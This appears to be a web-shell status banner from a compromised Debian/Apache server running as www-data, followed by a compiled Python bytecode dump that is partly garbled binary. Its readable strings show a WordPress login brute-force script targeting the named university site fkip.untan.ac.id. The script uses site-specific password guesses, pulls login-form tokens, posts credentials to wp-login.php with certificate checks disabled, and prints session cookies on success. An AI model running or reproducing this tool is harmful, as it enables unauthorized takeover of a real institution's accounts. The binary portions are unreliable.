Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/__pycache__/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

�

�$pj�����SrS
SK
r
S
SKrS
SKr/SQ
r\
R
"5rS\l\
RRR5 SSS.rSrS	r
SSj
r\S:Xa�S
rSrS\R$;aF\R$\R$R'S5
S
-r\R)S5
(dS\-rS\R$;a1\"\R$\R$R'S5
S
-5
r\r/SQ
r/SQ
r\"S\35
 \"S\35
 \"S\"\5
S35
 \"\\\\S9r\(a\"S\S
S\S
35
 g\"S5
 gg)z2
WordPress login brute force for fkip.untan.ac.id
�N)"�admin�admin123�	admin1234�
admin12345�password�password123�password1234�
password12345�123456�12345678�	123456789�untan�untan123�
untan12345�fkip�fkip123�	fkip12345�untan.ac.id�universitas�universitas123�tanjungpura�wpadmin�
wpadmin123�webadmin�webadmin123�
administrator�root�user�test�demo�	indonesia�indonesia123�	pontianak�pontianak123Fz<Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36�!application/x-www-form-urlencoded)z
User-Agent�Content-Typec��U
S
3nUR
USSS9nUR$![an[SU35
 SnAgSnAf
f=f
)N�
/wp-login.phpF�
)�verify�timeoutz[-] Error getting login page: )�get�text�	Exception�print)�session�target�url�resp�
es     �wp_brute.py�get_login_pager6sT��
�H�M�
"�C���{�{�3�u�b�{�9���y�y�����
�.�q�c�2�3����s�$�
A�A
�
Ac
�|�S
SKn
/SQ
nUH.nU
RX05nU(dMURS5
s $ g)Nr)z$name="wp-submit"[^>]*value="([^"]+)"z%name="testcookie"[^>]*value="([^"]+)"z&name="redirect_to"[^>]*value="([^"]+)"z#name="_wpnonce"[^>]*value="([^"]+)"�
)�re�search�group)�htmlr9�patterns�pattern�matchs     r5�
extract_noncer@)s>��
��H����	�	�'�(���5��;�;�q�>�!���r8c��US
3n[
[U5nU(d[S5
 gU
G
HlnUG
Han[SUSU35
 [
[U5nUUSUS3SS	.n[RUS
3US
S0
SS
SS9n	U	RS:XakU	R
R
SS5n
SU
;aHSU
;
aB[SUSU35
 [S[RR535
 Xg4s s $O�U	RS:XarSU	RR5;
aTSU	RR5;
a6SU	RR5;
a[SUSU35
 Xg4s s $[R"U5
 G
Md G
Mo g![an[SU35
 SnAN>SnAf
f=f
)zBrute force WordPress loginr(z[-] Could not fetch login pageNz[*] Trying �
:zLog Inz
/wp-admin/�
1)�log�pwdz	wp-submit�redirect_to�
testcookier&r%F�)�data�headersr*r+�allow_redirectsi.
�Location�zwp-adminzwp-login.phpz
[+] SUCCESS! z
    Cookies: ��zinvalid usernamezincorrect password�errorz
[+] Possible success! z[-] Error: )r6r0r/�post�status_coderKr,�cookies�get_dictr-�lowerr.�time�sleep)r1�	usernames�	passwords�delay�	login_urlr<�usernamerrJr3�locationr4s            r5�brute_forcer^8s�
���(�-�(�I��'�6�*�D��
�.�/����!�H��K��z��8�*�5�6�"�'�6�2�D� ��%�"(���4�!��D�
)��|�|��h�m�,��+�-P�Q� ��$)�
$����#�#�s�*�#�|�|�/�/�
�B�?�H�!�X�-�.��2P����z��8�*�E�F��
�g�o�o�.F�.F�.H�-I�J�K�'�1�1���%�%��,�)������1B�B�+�4�9�9�?�?�3D�D��d�i�i�o�o�&7�7�� 8��
�!�H�:�N�O�'�1�1�

�J�J�u��S
"��X
���

)���A�3�'�(�(��

)�s �"BF�:A=F�
F?�'F:�:F?�__main__zhttps://fkip.untan.ac.id�z--target�httpzhttps://z--delay)r�
admin_fkiprrr�wpadmin_fkip)rrrrrrrrrrrrr#rz[*] Starting brute force on z[*] Usernames: z[*] Passwords: z
 passwords)
rZz
[+] SUCCESS: rCz
[-] Brute force failed)
r8)�__doc__�requestsrV�sys�wordlist�Sessionr0r*�packages�urllib3�disable_warningsrKr6r@r^�__name__�_target�_delay�argv�index�
startswith�intr1rXrYr/�len�result�rAr5�<module>rv
s}
�


�
�
��
����
�
�
����������*�*�,�Q
�7���
�

�7
�r
�z��(�G�
�F��S�X�X���(�(�3�8�8�>�>�*�5�
�9�:���!�!�&�)�)� �7�*�G��C�H�H���S�X�X�c�h�h�n�n�Y�7�!�;�<�=��
�F�S�I��I�
�(���
1�2�	�O�I�;�
'�(�	�O�C�	�N�+�:�
6�7�
���I�V�
D�F�
�
���q�	�{�!�F�1�I�;�7�8�
�(�)�5rA